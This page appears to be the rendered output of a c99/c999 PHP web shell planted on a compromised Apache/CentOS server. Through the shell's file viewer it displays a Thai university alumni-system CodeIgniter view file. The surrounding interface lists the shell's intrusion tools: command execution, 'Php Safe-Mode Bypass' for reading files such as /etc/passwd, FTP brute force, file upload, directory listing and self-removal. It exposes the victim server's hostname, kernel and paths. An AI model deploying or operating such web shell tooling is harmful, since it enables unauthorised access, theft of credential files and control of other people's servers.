!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/ealumni/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addCurriculumDetails.php (6.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cur 
= (isset($qu_curd) && $qu_curd!=NULL) ? $qu_curd->row() : NULL;
?>
<table width="100%">
    <tr>
        <td align="center"><span class="h error">ข้อมูลหลักสูตร ตามระบบทะเบียน</span></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
<?php
    
if($this->session->flashdata('flgSave')) {
?>
    <tr>
        <td align="center"><?php echo $this->session->flashdata('flgSave');?></td>
    </tr>
<?php
    
}
?>
    <tr>
        <td><table class="szone"><?php echo form_open($this->config->item("ea_folder")."basedata/ea_curriculumdetails_insert_update", array("name" => "myform""id" => "myform"));?>

            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone2">ชื่อหลักสูตร</td>
                <td><input type="text" name="curName" id="curName" value="<?php echo set_value('curName',setValue('curName',$row_cur));?>" size="70" maxlength="100" />
                <span class="error"> *<?php echo form_error('curName');?></span></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone2">ข้อมูลประเภทบัณฑิต<br />ผู้สำเร็จการศึกษาของ สบช.</td>
                <td>
<?php
                
echo form_dropdown('curCcId'$rs_ccsetValue('curCcId'$row_cur));
?>
                
                <span class="error"> *</span>
<?php
            
if($cc==0) {
?>
                &nbsp;&nbsp;<span class="hand" onClick="sendPost('ccFrm', {}, '<?php echo site_url($this->config->item('ea_folder').'basedata/copy_ea_curriculumconfig');?>')" /><img src="<?php echo base_url().$this->config->item('ea_copy');?>" valign="absmiddle" />&nbsp;คัดลอกข้อมูลประเภทบัณฑิตฯ จากระบบทะเบียนฯ</span>
<?php
            
}
?>
                <?php echo form_error('curCcId');?></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone2">ข้อมูลวุฒิการศึกษา</td>
                <td>
<?php
                
echo form_dropdown('curEdgId'$rs_edgsetValue('curEdgId'$row_cur));
?>
                <span class="error"> *</span>
<?php
            
if($edg==0) {
?>
                &nbsp;&nbsp;<span class="hand" onClick="sendPost('edgFrm', {}, '<?php echo site_url($this->config->item('ea_folder').'basedata/copy_ea_edudegree');?>')" /><img src="<?php echo base_url().$this->config->item('ea_copy');?>" valign="absmiddle" />&nbsp;คัดลอกข้อมูลวุฒิฯ จากระบบทะเบียนฯ</span>
<?php
            
}
?>
                <?php echo form_error('curEdgId');?></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td class="coltd_szone2">ข้อมูลระดับการศึกษา</td>
                <td>
<?php
                
echo form_dropdown('curElvId'$rs_levsetValue('curElvId'$row_cur));
?>
                <span class="error"> *<?php echo form_error('curElvId');?></span></td>
            </tr>
            <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                <td colspan="2" align="center">
                <input type="submit" name="add" id="add" value="บันทึก" />
                <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                <input type="hidden" name="curId" id="curId" value="<?php echo setValue('curId',$row_cur);?>" />
                </td>
            </tr>
        <?php echo form_close();?></table></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td align="right">ส่งออก <img class="hand" title="ส่งออกเป็น excel" src="<?php echo base_url().$this->config->item('rg_excel_exp');?>" align="absmiddle" border="0" onClick="sendPost('hidform',{},
        '<?php echo site_url($this->config->item('ea_folder').'basedata/ea_curriculumdetails_ex');?>')" />
        </td>
    </tr>
    <tr>
        <td><table class="headCol">
            <tr bgcolor="<?php echo $this->config->item('table_c_even');?>">
                <th class="seqCol">ลำดับที่</th>
                <th>หลักสูตร</th>
                <!-- <th>ประเภทบัณฑิต<br />ผู้สำเร็จการศึกษาของ สบช.</th> -->
                <th>วุฒิการศึกษา</th>
                <th>ระดับการศึกษา</th>
                <th class="editCol">แก้ไข</th>
                <th class="deleteCol">ลบ</th>
            </tr>
<?php
    $i 
0;
    if(isset(
$rs_curd) && $rs_curd->num_rows()) {
        foreach(
$rs_curd->result() as $row_curd) {
            echo 
"<tr onmouseover=\"bgColor='".$this->config->item('tr_c_even')."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center"><?php echo $i+1;?></td>
                <td class="indent"><?php echo $row_curd->curName;?></td>
                <!-- <td class="indent"><?php echo "[รหัส ".$row_curd->ccCode."] ".$row_curd->ccName;?></td> -->
                <td class="indent"><?php echo $row_curd->edgAbbr;?></td>
                <td class="indent"><?php echo $row_curd->levelAbbr;?></td>
                <td align="center">
                <img class="hand" src="<?php echo base_url().$this->config->item("rg_edit");?>" align="absmiddle" border="0" onClick="sendPost('hidform',{'curId':<?php echo $row_curd->curId;?>},'<?php echo site_url($this->config->item('ea_folder').'basedata/ea_curriculumdetails_input');?>')" />
                </td>
                <td align="center">
<?php
                
if($row_curd->curAddType=='A') {
?>
                <img class="hand" src="<?php echo base_url().$this->config->item("rg_delete");?>" align="absmiddle" border="0" onClick="confirmDel2({curId:<?php echo $row_curd->curId;?>}, 'm_form1','<?php echo site_url($this->config->item('ea_folder').'basedata/ea_curriculumdetails_delete');?>')" />
<?php
                
} else {
?>
                <img src="<?php echo base_url().$this->config->item("rg_deleted");?>" />
<?php
                
}
?>
                </td>
            </tr>
<?php
            $i
++;
        }    
    } else {
?>
            <tr>
                <td align="center" colspan="6"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
            </tr>
<?php
    
}
?>
        </table></td>
    </tr>
    <tr>
        <td align="right">รวม <?php echo $i;?> รายการ</td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><b>หมายเหตุ :</b></span></td>
                <td><span class="error">1. ข้อมูลประเภทบัณฑิตผู้สำเร็จการศึกษาของ สบช. มาจากการคัดลอกจากระบบทะเบียน ฯ</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error">2. ข้อมูลวุฒิการศึกษา มาจากการคัดลอกจากระบบทะเบียนฯ</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error">3. * หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0143 ]--